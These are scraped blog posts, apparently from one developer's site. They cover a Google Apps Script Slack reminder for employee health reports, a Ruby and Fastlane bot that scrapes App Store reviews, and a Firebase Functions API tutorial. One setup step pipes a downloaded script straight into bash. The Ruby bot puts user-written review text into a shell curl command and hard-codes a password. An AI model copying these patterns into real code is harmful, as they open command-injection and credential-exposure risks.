avoid repeated execution. Only after the execution is successful can you run it again.Success! The data is grouped by date.Compare the current date’s Sheet with the employee list to generate data for the Unfilled List SheetLet’s add a piece of code:// Compare the employee list Sheet & today's filled Sheet to generate the unfilled listfunction generateUnfilledList() { var listSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Employee List') // Employee list Sheet name var unfilledListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Unfilled List') // Unfilled list Sheet name var today = new Date(); var todayName = today.toLocaleDateString(\"en-US\"); var todayListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(todayName) // Get today's MM/DD/YYYY Sheet if (todayListSheet == null) { SpreadsheetApp.getUi().alert('Cannot find today\\'s Sheet ' + todayName + ' or please run \"Organize Filled Data\" first'); return; } var todayEmails = todayListSheet.getDataRange().getValues().map( x => x[1] ) // Get today's Sheet Email Address column data list (1 = Column B) // index start from 0, so 1 = Column B // output: Email Address,zhgchgli@gmail.com,alan@gamil.com,b@gmail.com... todayEmails.shift() // Remove the first data, the first is the column name \"Email Address\" which is meaningless // output: zhgchgli@gmail.com,alan@gamil.com,b@gmail.com... unfilledListSheet.clear() // Clear the unfilled list... prepare to refill data unfilledListSheet.appendRow([todayName + \" Unfilled List\"]) // The first row shows the Sheet title var rows = listSheet.getDataRange().getValues(); // Read the employee list Sheet for(index in rows) { if (index == 0) { // The first row is the header row, save it, so that the subsequent generated data can also add the first row header unfilledListSheet.appendRow(rows[index]); continue; } if (todayEmails.includes(rows[index][3])) { // If today's Sheet Email Address contains this employee's Email, it means it has been filled, continue to skip... (3 = Column D) continue; } unfilledListSheet.appendRow(rows[index]); // Write a row of data to the unfilled list Sheet }}After saving, follow the previous method to add code, then add a button and assign the script — “generateUnfilledList”.Once completed, you can click to test:Unfilled list generated successfully! If no content appears, please ensure: The employee list is filled in, or you can enter test data first. Complete the “Organize Filled Data” action first.Read the Unfilled List Sheet, compile the message, and send it to the specified Slack ChannelFirst, we need to add the Incoming WebHooks App to the Slack Channel. We will use this medium to send messages. Slack bottom left “Apps” -> “Add apps” Search “incoming” in the search box on the right Click “Incoming WebHooks” -> “Add”Select the Channel where you want to send the unfilled message.Note down the “Webhook URL” at the top.Scroll down to set the name and avatar of the Bot when sending messages; remember to click “Save Settings” after making changes.Back to our Google Sheet ScriptAdd another piece of code:function postSlack() { var ui = SpreadsheetApp.getUi(); var result = ui.alert( 'Are you sure you want to send the message?', 'Send unfilled reminder message to Slack Channel', ui.ButtonSet.YES_NO); // To avoid accidental touches, ask for confirmation first if (result == ui.Button.YES) { var unfilledListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Unfilled List') // Unfilled List Sheet name var rows = unfilledListSheet.getDataRange().getValues(); var persons = []; for(index in rows) { if (index == 0 || index == 1) { // Skip the title and column header rows continue; } var person = (rows[index][4] == \"\") ? (rows[index][2]) : (\"<@\"+rows[index][4]+\">\"); // Mark the target, use slack uid if available, otherwise just display the nickname; 2 = Column B / 4 = Column E if (person == \"\") { // Consider it as abnormal data if both are empty, ignore continue; } persons.push(\"• \"+person+'\\n') // Store the target in the array } if (persons.length <= 0) { // If no target needs to be notified, everyone has filled in, cancel the message sending return; } var preText = \"*[Health Report Announcement:loudspeaker:]*\\nThe company cares about everyone's health, please remember to fill in the daily health status report, thank you:wink:\\n\\nToday's unfilled health status report list\\n\\n\" // Message opening content... var postText = \"\\n\\nFilling in the health status report allows the company to understand the health status of teammates, please make sure to fill it in every day>< Thank you everyone:woman-bowing::skin-tone-2:\" // Message closing content... var payload = { \"text\": preText+persons.join('')+postText, \"attachments\": [{ \"fallback\": \"You can put the Google Form filling link here\", \"actions\": [ { \"name\": \"form_link\", \"text\": \"Go to Health Status Report\", \"type\": \"button\", \"style\": \"primary\", \"url\": \"You can put the Google Form filling link here\" } ], \"footer\": \":rocket:Tip: Click the \\\":zap:️lightning\\\" below the input box -> \\\"Shortcut Name\\\" to fill in directly.\" } ] }; var res = UrlFetchApp.fetch('Enter your slack incoming app Webhook URL here',{ method : 'post', contentType : 'application/json', payload : JSON.stringify(payload) }) }}After saving, follow the previous method to add code, then add a button and assign the script — “postSlack”.Once completed, you can click to test:Success!!! (The display @U123456 did not successfully tag the person because the ID was randomly typed by me)At this point, the main functions are all completed! Note Please note that the official recommendation is to use the new Slack APP API’s chat.postMessage to send messages. The simpler method of Incoming Webhook will be deprecated. I did not use it here for convenience. You can adjust to the new method along with the next chapter “Import Employee List,” which will require the Slack App API.Import Employee ListHere we need to create a Slack APP. Go to https://api.slack.com/apps Click “Create New App” in the upper right corner Choose “ From scratch “ Enter “ App Name “ and the Workspace you want to add After successful creation, select “OAuth & Permissions” settings page from the left menu Scroll down to the Scopes sectionAdd the following items in “Add an OAuth Scope”: channels:read users:read users:read.email If you want to use the APP to send messages, you can add chat.postMessage Go back to the top and click “Install to workspace” or “Reinstall to workspace” *If Scopes are added, you need to come back and reinstall. After installation, get and copy the Bot User OAuth Token Use the web version of Slack to open the Channel where you want to import the list Get the URL from the browser:https://app.slack.com/client/TXXXX/CXXXXWhere CXXXX is the Channel ID of this Channel, note this information.10.Go back to our Google Sheet ScriptAdd the following code:function loadEmployeeList() { var formData = { 'token': 'Bot User OAuth Token', 'channel': 'Channel ID', 'limit': 500 }; var options = { 'method' : 'post', 'payload' : formData }; var response = UrlFetchApp.fetch('https://slack.com/api/conversations.members', options); var data = JSON.parse(response.getContentText()); for (index in data[\"members\"]) { var uid = data[\"members\"][index]; var formData = { 'token': 'Bot User OAuth Token', 'user': uid }; var options = { 'method' : 'post', 'payload' : formData }; var response = UrlFetchApp.fetch('https://slack.com/api/users.info', options); var user = JSON.parse(response.getContentText()); var email = user[\"user\"][\"profile\"][\"email\"]; var real_name = user[\"user\"][\"profile\"][\"real_name_normalized\"]; var title = user[\"user\"][\"profile\"][\"title\"]; var row = [title, real_name, real_name, email, uid]; // Fill in according to Column var listSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Employee List'); // Employee list Sheet name listSheet.appendRow(row); }}But this time we don’t need to add the button again, because the import is only needed the first time; so just save and run directly.First, press “control” + “s” to save, change the top dropdown menu to “loadEmployeeList”, and click “Run” to start importing the list into the Employee List Sheet.Manually Add New Employee DataIf new employees join later, you can directly add a row in the Employee List Sheet and fill in the information. The Slack UID can be directly queried on Slack:Click on the person whose UID you want to view, and click “View full profile”Click “More” and select “Copy member ID” to get the UID. UXXXXXDONE!All the above steps are completed, and you can start automating the tracking of employees’ health status.The completed file can be copied and modified from the following Google Sheet:Supplement If you want to use Scheduled date & time to send form messages regularly, note that in this case, the form can only be filled out once, so it is not suitable for use here… (at least in the current version), so Scheduled reminder messages can still only use plain text + Google Form link. Currently, there is no way to link to Shortcut to open the Form Google Sheet App Script to prevent duplicate execution:If you want to prevent accidental re-execution during execution, you can add at the beginning of the function:if (PropertiesService.getScriptProperties().getProperty('FUNCTIONNAME') == 'true') { SpreadsheetApp.getUi().alert('Busy... Please try again later'); return;}PropertiesService.getScriptProperties().setProperty('FUNCTIONNAME', 'true');Add at the end of the function execution:PropertiesService.getScriptProperties().setProperty('FUNCTIONNAME', 'true');Replace FUNCTIONNAME with the target function name.Use a global variable to control execution.Applications Related to iOS DevelopmentCan be used to connect CI/CD, using GUI to package the original ugly command operations, such as using Slack Bitrise APP, combining Slack Workflow form to trigger Build commands:After submission, it will send a command to the private channel with the Bitrise APP, EX:bitrise workflow:app_store|branch:develop|ENV[version]:4.32.0This will trigger Bitrise to execute the CI/CD Flow.Further Reading Using Python + Google Cloud Platform + Line Bot to Automate Routine Tasks Using Google Apps Script to Forward Gmail to Slack Building a More Real-time and Convenient Crash Tracking Tool with Crashlytics + Big Query Automatically Querying App Crash-Free Users Rate with Crashlytics + Google AnalyticsIf you have any questions or feedback, feel free to contact me.If you have any automation-related optimization needs, you are also welcome to commission me. Thank you.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "ZReviewsBot — Slack App Review Notification Bot", "url": "/posts/33f6aabb744f/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, slack, slackbot, app-review, ruby", "date": "2021-05-05 21:51:19 +0800", "snippet": "ZReviewsBot — Slack App Review Notification BotFree and open-source iOS & Android APP latest review tracking Slack BotTL;DR [2022/08/10] Update:Now redesigned using the new App Store Connect AP...", "content": "ZReviewsBot — Slack App Review Notification BotFree and open-source iOS & Android APP latest review tracking Slack BotTL;DR [2022/08/10] Update:Now redesigned using the new App Store Connect API and relaunched as “ ZReviewTender — Free and Open-source App Reviews Monitoring Bot “.====ZhgChgLi / ZReviewsBotZReviewsBotZReviewsBot is a free, open-source project that helps your app team automatically track the latest reviews of apps on the App Store (iOS) and Google Play (Android) platforms and send them to a designated Slack Channel for you to understand the current app status in real-time. ✅ Uses updated, more reliable API Endpoint to track iOS app reviews (Technical Details) ✅ Supports dual-platform review tracking for iOS & Android ✅ Supports keyword notification skip feature (to avoid spam ads) ✅ Customizable settings, as you wish ✅ Supports deployment of Schedule Auto Bot using Github Action[2022/07/20 Update]App Store Connect API now supports reading and managing Customer Reviews, this bot will implement this in future updates, replacing the method of using Fastlane — Spaceship to fetch reviews from the backend.OriginFollowing the previous article “ AppStore APP’s Reviews Slack Bot “, I researched and completed a new iOS review fetching tool. I thought it might be suitable as a Side Project Open Source for friends with the same problem.FlowFurther Reading [Productivity Tool] Abandon Chrome and Embrace Sidekick BrowserIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "AppStore APP’s Reviews Bot Insights", "url": "/posts/cb0c68c33994/", "categories": "ZRealm, Dev.", "tags": "slackbot, ios-app-development, ruby, fastlane, automator", "date": "2021-04-21 23:16:31 +0800", "snippet": "AppStore APP’s Reviews Slack Bot InsightsUsing Ruby+Fastlane-SpaceShip to build an APP review tracking notification Slack botPhoto by Austin DistelIgnorance is blissAppReviewBot as an exampleI rece...", "content": "AppStore APP’s Reviews Slack Bot InsightsUsing Ruby+Fastlane-SpaceShip to build an APP review tracking notification Slack botPhoto by Austin DistelIgnorance is blissAppReviewBot as an exampleI recently discovered that the bot in Slack that forwards the latest APP reviews is a paid service. I always thought this feature was free. The cost ranges from $5 to $200 USD/month because each platform offers more than just the “App Review Bot” feature. They also provide data statistics, records, unified backend, competitor comparisons, etc. The cost is based on the services each platform can provide. The Review Bot is just one part of their offerings, but I only need this feature and nothing else. Paying for it seems wasteful.ProblemI originally used the free open-source tool TradeMe/ReviewMe for Slack notifications, but this tool has been outdated for a long time. Occasionally, Slack would suddenly send out some old reviews, which was quite alarming (many bugs had already been fixed, making us think there were new issues!). The reason was unclear.So, I considered finding other tools or methods to replace it.TL;DR [2022/08/10] Update:We have now redesigned the App Reviews Bot using the new App Store Connect API and relaunched it as “ ZReviewTender — a free open-source App Reviews monitoring bot “.====2022/07/20 UpdateApp Store Connect API now supports reading and managing Customer Reviews. The App Store Connect API natively supports accessing App reviews, no longer requiring Fastlane — Spaceship to fetch reviews from the backend.Principle ExplorationWith the motivation in place, let’s explore the principles to achieve the goal.Official API ❌Apple provides the App Store Connect API, but it does not offer a feature to fetch reviews.[2022/07/20 Update]: App Store Connect API now supports reading and managing Customer ReviewsPublic URL API (RSS) ⚠️Apple provides a public APP review RSS subscription URL, and it offers both rss xml and json formats.https://itunes.apple.com/country_code/rss/customerreviews/id=APP_ID/page=1/sortBy=mostRecent/json Country code: Refer to this document. APP_ID: Go to the App web version, and you will get the URL: https://apps.apple.com/tw/app/APP_NAME/id 12345678, the number after id is the App ID (pure numbers). Page: You can request pages 1~10, beyond that you cannot retrieve. SortBy: mostRecent/json requests the latest & json format, you can also change it to mostRecent/xml for xml format.The returned review data is as follows:rss.json:{ \"author\": { \"uri\": { \"label\": \"https://itunes.apple.com/tw/reviews/id123456789\" }, \"name\": { \"label\": \"test\" }, \"label\": \"\" }, \"im:version\": { \"label\": \"4.27.1\" }, \"im:rating\": { \"label\": \"5\" }, \"id\": { \"label\": \"123456789\" }, \"title\": { \"label\": \"Great presence!\" }, \"content\": { \"label\": \"Life is worth it~\", \"attributes\": { \"type\": \"text\" } }, \"link\": { \"attributes\": { \"rel\": \"related\", \"href\": \"https://itunes.apple.com/tw/review?id=123456789&type=Purple%20Software\" } }, \"im:voteSum\": { \"label\": \"0\" }, \"im:contentType\": { \"attributes\": { \"term\": \"Application\", \"label\": \"Application\" } }, \"im:voteCount\": { \"label\": \"0\" }}Advantages: Public, accessible without authentication steps Simple and easy to useDisadvantages: This RSS API is very outdated and hasn’t been updated The returned review information is too little (no comment time, edited review?, replied?) Encounter data disorder issues (the last few pages occasionally suddenly spit out old data) Can access up to 10 pages The biggest problem we encountered is 3; but it is uncertain whether this is an issue with the Bot tool we are using or with the RSS URL data.Private URL API ✅This method is somewhat unconventional and was discovered by a sudden inspiration; but after referring to other Review Bot practices, I found that many websites also use it this way, so it should be fine, and I saw tools doing this 4-5 years ago, just didn’t delve into it at the time.Advantages: Same data as Apple’s backend Complete and up-to-date data Can do more detailed filtering Deeply integrated APP tools also use this method (AppRadar/AppReviewBot…)Disadvantages: Unofficial method (unconventional) Due to Apple’s implementation of comprehensive two-step login, the login session needs to be updated regularly.Step 1 — Sniff the API that loads the review section of App Store Connect backend:Get the Apple backend by hitting:https://appstoreconnect.apple.com/WebObjects/iTunesConnect.woa/ra/apps/APP_ID/platforms/ios/reviews?index=0&sort=REVIEW_SORT_ORDER_MOST_RECENTThis endpoint retrieves the review list:index = page offset, up to 100 entries per page.The returned review data is as follows:private.json:{ \"value\": { \"id\": 123456789, \"rating\": 5, \"title\": \"Great presence!\", \"review\": \"Life is worth it~\", \"created\": null, \"nickname\": \"test\", \"storeFront\": \"TW\", \"appVersionString\": \"4.27.1\", \"lastModified\": 1618836654000, \"helpfulViews\": 0, \"totalViews\": 0, \"edited\": false, \"developerResponse\": null }, \"isEditable\": true, \"isRequired\": false, \"errorKeys\": null}After testing, it was found that you only need to include cookie: myacinfo=<Token> to forge a request and obtain data:We have the API and the required headers, now we need to automate the retrieval of this cookie information from the backend.Step Two — The Versatile FastlaneSince Apple now enforces full Two-Step Verification, automating login verification has become more cumbersome. Fortunately, the clever Fastlane has implemented everything from the official App Store Connect API, iTMSTransporter, to web authentication (including two-step verification). We can directly use Fastlane’s command:fastlane spaceauth -u <App Store Connect Account (Email)>This command will complete the web login verification (including two-step verification) and then store the cookie in the FASTLANE_SESSION file.You will get a string similar to the following:!ruby/object:HTTP::Cookiename: myacinfo value: <token> domain: apple.com for_domain: true path: \"/\" secure: true httponly: true expires: max_age: created_at: 2021-04-21 20:42:36.818821000 +08:00 accessed_at: 2021-04-21 22:02:45.923016000 +08:00!ruby/object:HTTP::Cookiename: <hash> value: <token>domain: idmsa.apple.com for_domain: true path: \"/\"secure: true httponly: true expires: max_age: 2592000created_at: 2021-04-19 23:21:05.851853000 +08:00accessed_at: 2021-04-21 20:42:35.735921000 +08:00By including myacinfo = value, you can obtain the review list.Step Three — SpaceShipInitially, I thought Fastlane could only help us up to this point, and we would have to manually integrate the flow of obtaining the cookie from Fastlane and then calling the API. However, after some exploration, I discovered that Fastlane’s authentication module SpaceShip has even more powerful features!SpaceShipSpaceShip already has a method for fetching the review list Class: Spaceship::TunesClient::get_reviews!app = Spaceship::Tunes::login(appstore_account, appstore_password)reviews = app.get_reviews(app_id, platform, storefront, versionId = '')*storefront = regionStep Four — AssemblyFastlane and Spaceship are both written in Ruby, so we also need to use Ruby to create this Bot tool.We can create a reviewBot.rb file, and to compile and execute it, simply enter in the Terminal:ruby reviewBot.rbThat’s it. ( *For more Ruby environment issues, refer to the tips at the end)First, since the original get_reviews method’s parameters do not meet our needs; I want review data for all regions and all versions, without filtering, and with pagination support:extension.rb:# Extension Spaceship->TunesClientmodule Spaceship class TunesClient < Spaceship::Client def get_recent_reviews(app_id, platform, index) r = request(:get, \"ra/apps/#{app_id}/platforms/#{platform}/reviews?index=#{index}&sort=REVIEW_SORT_ORDER_MOST_RECENT\") parse_response(r, 'data')['reviews'] end endendSo we extend a method in TunesClient, with parameters only including app_id, platform = ios ( all lowercase ), index = pagination offset.Next, assemble login authentication and fetch the review list:get_recent_reviews.rb:index = 0breakWhile = truewhile breakWhile app = Spaceship::Tunes::login(APPStoreConnect account (Email), APPStoreConnect password) reviews = app.get_recent_reviews($app_id, $platform, index) if reviews.length() <= 0 breakWhile = false break end reviews.each { |review| index += 1 puts review[\"value\"] }endUse while to traverse all pages, and terminate when there is no content.Next, add a record of the last latest time, and only notify the latest messages that have not been notified:lastModified.rb:lastModified = 0if File.exists?(\".lastModified\") lastModifiedFile = File.open(\".lastModified\") lastModified = lastModifiedFile.read.to_iendnewLastModified = lastModifiedisFirst = truemessages = []index = 0breakWhile = truewhile breakWhile app = Spaceship::Tunes::login(APPStoreConnect account (Email), APPStoreConnect password) reviews = app.get_recent_reviews($app_id, $platform, index) if reviews.length() <= 0 breakWhile = false break end reviews.each { |review| index += 1 if isFirst isFirst = false newLastModified = review[\"value\"][\"lastModified\"] end if review[\"value\"][\"lastModified\"] > lastModified && lastModified != 0 # Do not send notifications the first time messages.append(review[\"value\"]) else breakWhile = false break end }endmessages.sort! { |a, b| a[\"lastModified\"] <=> b[\"lastModified\"] }messages.each { |message| notify_slack(message)}File.write(\".lastModified\", newLastModified, mode: \"w+\")Simply use a .lastModified to record the time obtained during the last execution.*Do not send notifications the first time, otherwise, it will spamThe final step, assemble the push message & send it to Slack:slack.rb:# Slack Botdef notify_slack(review) rating = review[\"rating\"].to_i color = rating >= 4 ? \"good\" : (rating >= 2 ? \"warning\" : \"danger\") like = review[\"helpfulViews\"].to_i > 0 ? \" - #{review[\"helpfulViews\"]} :thumbsup:\" : \"\" date = review[\"edited\"] == false ? \"Created at: #{Time.at(review[\"lastModified\"].to_i / 1000).to_datetime}\" : \"Updated at: #{Time.at(review[\"lastModified\"].to_i / 1000).to_datetime}\" isResponse = \"\" if review[\"developerResponse\"] != nil && review[\"developerResponse\"]['lastModified'] < review[\"lastModified\"] isResponse = \" (Response outdated)\" end edited = review[\"edited\"] == false ? \"\" : \":memo: User updated review#{isResponse}:\" stars = \"★\" * rating + \"☆\" * (5 - rating) attachments = { :pretext => edited, :color => color, :fallback => \"#{review[\"title\"]} - #{stars}#{like}\", :title => \"#{review[\"title\"]} - #{stars}#{like}\", :text => review[\"review\"], :author_name => review[\"nickname\"], :footer => \"iOS - v#{review[\"appVersionString\"]} - #{review[\"storeFront\"]} - #{date} - <https://appstoreconnect.apple.com/apps/APP_ID/appstore/activity/ios/ratingsResponses|Go To App Store>\" } payload = { :attachments => [attachments], :icon_emoji => \":storm_trooper:\", :username => \"ZhgChgLi iOS Review Bot\" }.to_json cmd = \"curl -X POST --data-urlencode 'payload=#{payload}' SLACK_WEB_HOOK_URL\" system(cmd, :err => File::NULL) puts \"#{review[\"id\"]} send Notify Success!\" endSLACK_WEB_HOOK_URL = Incoming WebHook URLFinal Resultappreviewbot.rb:require \"Spaceship\"require 'json'require 'date'# Config$slack_web_hook = \"Target notification web hook url\"$slack_debug_web_hook = \"Notification web hook url when the bot has an error\"$appstore_account = \"APPStoreConnect account (Email)\"$appstore_password = \"APPStoreConnect password\"$app_id = \"APP_ID\"$platform = \"ios\"# Extension Spaceship->TunesClientmodule Spaceship class TunesClient < Spaceship::Client def get_recent_reviews(app_id, platform, index) r = request(:get, \"ra/apps/#{app_id}/platforms/#{platform}/reviews?index=#{index}&sort=REVIEW_SORT_ORDER_MOST_RECENT\") parse_response(r, 'data')['reviews'] end endend# Slack Botdef notify_slack(review) rating = review[\"rating\"].to_i color = rating >= 4 ? \"good\" : (rating >= 2 ? \"warning\" : \"danger\") like = review[\"helpfulViews\"].to_i > 0 ? \" - #{review[\"helpfulViews\"]} :thumbsup:\" : \"\" date = review[\"edited\"] == false ? \"Created at: #{Time.at(review[\"lastModified\"].to_i / 1000).to_datetime}\" : \"Updated at: #{Time.at(review[\"lastModified\"].to_i / 1000).to_datetime}\" isResponse = \"\" if review[\"developerResponse\"] != nil && review[\"developerResponse\"]['lastModified'] < review[\"lastModified\"] isResponse = \" (Customer service response is outdated)\" end edited = review[\"edited\"] == false ? \"\" : \":memo: User updated review#{isResponse}:\" stars = \"★\" * rating + \"☆\" * (5 - rating) attachments = { :pretext => edited, :color => color, :fallback => \"#{review[\"title\"]} - #{stars}#{like}\", :title => \"#{review[\"title\"]} - #{stars}#{like}\", :text => review[\"review\"], :author_name => review[\"nickname\"], :footer => \"iOS - v#{review[\"appVersionString\"]} - #{review[\"storeFront\"]} - #{date} - <https://appstoreconnect.apple.com/apps/APP_ID/appstore/activity/ios/ratingsResponses|Go To App Store>\" } payload = { :attachments => [attachments], :icon_emoji => \":storm_trooper:\", :username => \"ZhgChgLi iOS Review Bot\" }.to_json cmd = \"curl -X POST --data-urlencode 'payload=#{payload}' #{$slack_web_hook}\" system(cmd, :err => File::NULL) puts \"#{review[\"id\"]} send Notify Success!\" endbegin lastModified = 0 if File.exists?(\".lastModified\") lastModifiedFile = File.open(\".lastModified\") lastModified = lastModifiedFile.read.to_i end newLastModified = lastModified isFirst = true messages = [] index = 0 breakWhile = true while breakWhile app = Spaceship::Tunes::login($appstore_account, $appstore_password) reviews = app.get_recent_reviews($app_id, $platform, index) if reviews.length() <= 0 breakWhile = false break end reviews.each { |review| index += 1 if isFirst isFirst = false newLastModified = review[\"value\"][\"lastModified\"] end if review[\"value\"][\"lastModified\"] > lastModified && lastModified != 0 # Do not send notification on first use messages.append(review[\"value\"]) else breakWhile = false break end } end messages.sort! { |a, b| a[\"lastModified\"] <=> b[\"lastModified\"] } messages.each { |message| notify_slack(message) } File.write(\".lastModified\", newLastModified, mode: \"w+\")rescue => error attachments = { :color => \"danger\", :title => \"AppStoreReviewBot Error occurs!\", :text => error, :footer => \"*Due to Apple's technical limitations, the precise rating crawling function needs to be re-logged in and set approximately every month. We apologize for the inconvenience.\" } payload = { :attachments => [attachments], :icon_emoji => \":storm_trooper:\", :username => \"ZhgChgLi iOS Review Bot\" }.to_json cmd = \"curl -X POST --data-urlencode 'payload=#{payload}' #{$slack_debug_web_hook}\" system(cmd, :err => File::NULL) puts errorendAdditionally, a begin…rescue (try…catch) protection is added. If an error occurs, a Slack notification will be sent for us to check (mostly due to session expiration). Finally, just add this script to crontab / schedule and other scheduling tools to execute it regularly!Effect picture:Free Alternatives AppFollow: Uses Public URL API (RSS), it’s usable at best. feedis.io: Uses Private URL API, requires giving them your account and password. TradeMe/ReviewMe: Self-hosted service (node.js), we originally used this but encountered the aforementioned issues. JonSnow: Self-hosted service (GO), supports one-click deployment to heroku, author: @saidayWarm Tips ⚠️Private URL API method, if using an account with two-factor authentication, it needs to be re-verified every 30 days at most and currently has no solution; if you can create an account without two-factor authentication, you can use it smoothly.#important-note-about-session-duration ⚠️Whether free, paid, or self-hosted as mentioned in this article; do not use a developer account, be sure to create a separate App Store Connect account with only “Customer Support” permissions to prevent security issues. It is recommended to use rbenv to manage Ruby, as the system’s built-in version 2.6 can easily cause conflicts. If you encounter GEM or Ruby environment errors on macOS Catalina, you can refer to this reply to solve them. Problem Solved!After the above journey, I have a better understanding of how the Slack Bot works and how the iOS App Store crawls review content. I also got to play around with ruby! It feels great to write!If you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Quickly Build a Testable API Service Using Firebase Firestore + Functions", "url": "/posts/9659db1357e4/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, firebase, google-cloud-platform, notifications, ios", "date": "2021-03-24 01:09:34 +0800", "snippet": "Quickly Build a Testable API Service Using Firebase Firestore + FunctionsWhen push notification statistics meet Firebase Firestore + FunctionsPhoto by Carlos MuzaIntroductionAccurate Push Notificat...", "content": "Quickly Build a Testable API Service Using Firebase Firestore + FunctionsWhen push notification statistics meet Firebase Firestore + FunctionsPhoto by Carlos MuzaIntroductionAccurate Push Notification StatisticsRecently, I wanted to introduce a feature to the APP. Before implementation, we could only use the success or failure of posting data to APNS/FCM from the backend as the base for push notifications and record the click-through rate. However, this method is very inaccurate as the base includes many invalid devices. Devices with the APP deleted (which may not immediately become invalid) or with push notifications disabled will still return success when posting from the backend.After iOS 10, you can implement the Notification Service Extension to secretly call an API for statistics when the push notification banner appears. The advantage is that it is very accurate; it only calls when the user’s push notification banner appears. If the APP is deleted, notifications are turned off, or the banner is not displayed, there will be no action. The banner appearing equals a push notification message, and using this as the base for push notifications and then counting the clicks will give an “accurate click-through rate.” For detailed principles and implementation methods, refer to the previous article: “iOS ≥ 10 Notification Service Extension Application (Swift)” Currently, the APP’s loss rate should be 0% based on tests. A common practical application is Line’s point-to-point message encryption and decryption (the push notification message is encrypted and decrypted only when received on the phone).ProblemThe work on the APP side is actually not much. Both iOS/Android only need to implement similar functions (but if considering the Chinese market for Android, it becomes more complicated as you need to implement push notification frameworks for more platforms). The bigger work is on the backend and server pressure handling because when a push notification is sent out, it will simultaneously call the API to return records, which might overwhelm the server’s max connection. If using RDBMS to store records, it could be even more severe. If you find statistical losses, it often happens at this stage. You can record by writing logs to files and do statistics and display when querying. Additionally, thinking about the scenario of simultaneous returns, the quantity might not be as large as imagined. Push notifications are not sent out in tens or hundreds of thousands at once but in batches. As long as you can handle the number of simultaneous returns from batch sending, it should be fine!PrototypeConsidering the issues mentioned, the backend needs effort to research and modify, and the market may not care about the results. So, I thought of using available resources to create a prototype to test the waters.Here, I chose Firebase services, which almost all APPs use, specifically the Functions and Firestore features.Firebase FunctionsFunctions is a serverless service provided by Google. You only need to write the program logic, and Google will automatically handle the server, execution environment, and you don’t have to worry about server scaling and traffic issues.Firebase Functions are essentially Google Cloud Functions but can only be written in JavaScript (node.js). Although I haven’t tried it, if you use Google Cloud Functions and choose to write in another language while importing Firebase services, it should work as well.For API usage, I can write a node.js file, get a real URL (e.g., my-project.cloudfunctions.net/getUser), and write the logic to obtain Request information and provide the corresponding Response. I previously wrote an article about Google Functions: Using Python + Google Cloud Platform + Line Bot to Automate Routine Tasks Firebase Functions must enable the Blaze plan (pay-as-you-go) to use.Firebase FirestoreFirebase Firestore is a NoSQL database used to store and manage data.Combined with Firebase Functions, you can import Firestore during a Request to operate the database and then respond to the user, allowing you to build a simple Restful API service! Let’s get hands-on!Install node.js EnvironmentIt is recommended to use NVM, a node.js version management tool, for installation and management (similar to pyenv for Python).Copy the installation shell script from the NVM GitHub project:curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bashIf errors occur during installation, ensure you have a ~/.bashrc or ~/.zshrc file. If not, you can create one using touch ~/.bashrc or touch ~/.zshrc and then rerun the install script.Next, you can use nvm install node to install the latest version of node.js.You can check if npm is installed successfully and its version by running npm --version:Deploy Firebase FunctionsInstall Firebase-tools:npm install -g firebase-toolsAfter successful installation, for the first-time use, enter:firebase loginComplete Firebase login authentication.Initialize the project:firebase initNote the path where Firebase init is located:You're about to initialize a Firebase project in this directory:Here you can choose the Firebase CLI tools to install. Use the “↑” and “↓” keys to navigate and the “spacebar” to select. You can choose to install only “Functions” or both “Functions” and “Firestore”.=== Functions Setup Select language: JavaScript For “use ESLint to catch probable bugs and enforce style” syntax style check, YES / NO both are fine. Install dependencies with npm? YES=== Emulators SetupYou can test Functions and Firestore features and settings locally without it counting towards usage and without needing to deploy online to test. Install as needed. I installed it but didn’t use it… because it’s just a small feature.Coding!Go to the path noted above, find the functions folder, and open the index.js file with an editor.index.js:const functions = require('firebase-functions');const admin = require('firebase-admin');admin.initializeApp();exports.hello = functions.https.onRequest((req, res) => { const targetID = req.query.targetID const action = req.body.action const name = req.body.name res.send({\"targetID\": targetID, \"action\": action, \"name\": name}); return})Paste the above content. We have defined a path interface /hello that will return the URL Query ?targetID=, POST action, and name parameter information.After modifying and saving, go back to the console and run:firebase deploy Remember to run the firebase deploy command every time you make changes for them to take effect.Start verifying & deploying to Firebase…It may take a while. After Deploy complete!, your first Request & Response webpage is done!At this point, you can go back to the Firebase -> Functions page:You will see the interface and URL location you just wrote.Copy the URL below and test it in PostMan: Remember to select x-www-form-urlencoded for the POST Body.Success!LogWe can use the following in the code to log records:functions.logger.log(\"log:\", value);And view the log results in Firebase -> Functions -> Logs:Example Goal Create an API that can add, modify, delete, query articles, and like them.We want to achieve the functionality design of a Restful API, so we can’t use the pure Path method from the above example. Instead, we need to use the Express framework.POST Add Articleindex.js:const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Insertapp.post('/', async (req, res) => { // This POST refers to the HTTP Method POST const title = req.body.title; const content = req.body.content; const author = req.body.author; if (title == null || content == null || author == null) { return res.status(400).send({\"message\":\"Parameter error!\"}); } var post = {\"title\":title, \"content\":content, \"author\": author, \"created_at\": new Date()}; await admin.firestore().collection('posts').add(post); res.status(201).send({\"message\":\"Added successfully!\"});});exports.post= functions.https.onRequest(app); // This POST refers to the /post pathNow we use Express to handle network requests. Here, we first add a POST method for the path /. The last line indicates that all paths are under /post. Next, we will add APIs for updating and deleting.After successfully deploying with firebase deploy, go back to Post Man to test:After successfully hitting Post Man, you can check in Firebase -> Firestore to see if the data is correctly written:PUT Update Articleindex.js:const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Updateapp.put(\"/:id\", async (req, res) => { const title = req.body.title; const content = req.body.content; const author = req.body.author; const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); if (!doc.exists) { return res.status(404).send({\"message\":\"Article not found!\"}); } else if (title == null || content == null || author == null) { return res.status(400).send({\"message\":\"Invalid parameters!\"}); } var post = {\"title\":title, \"content\":content, 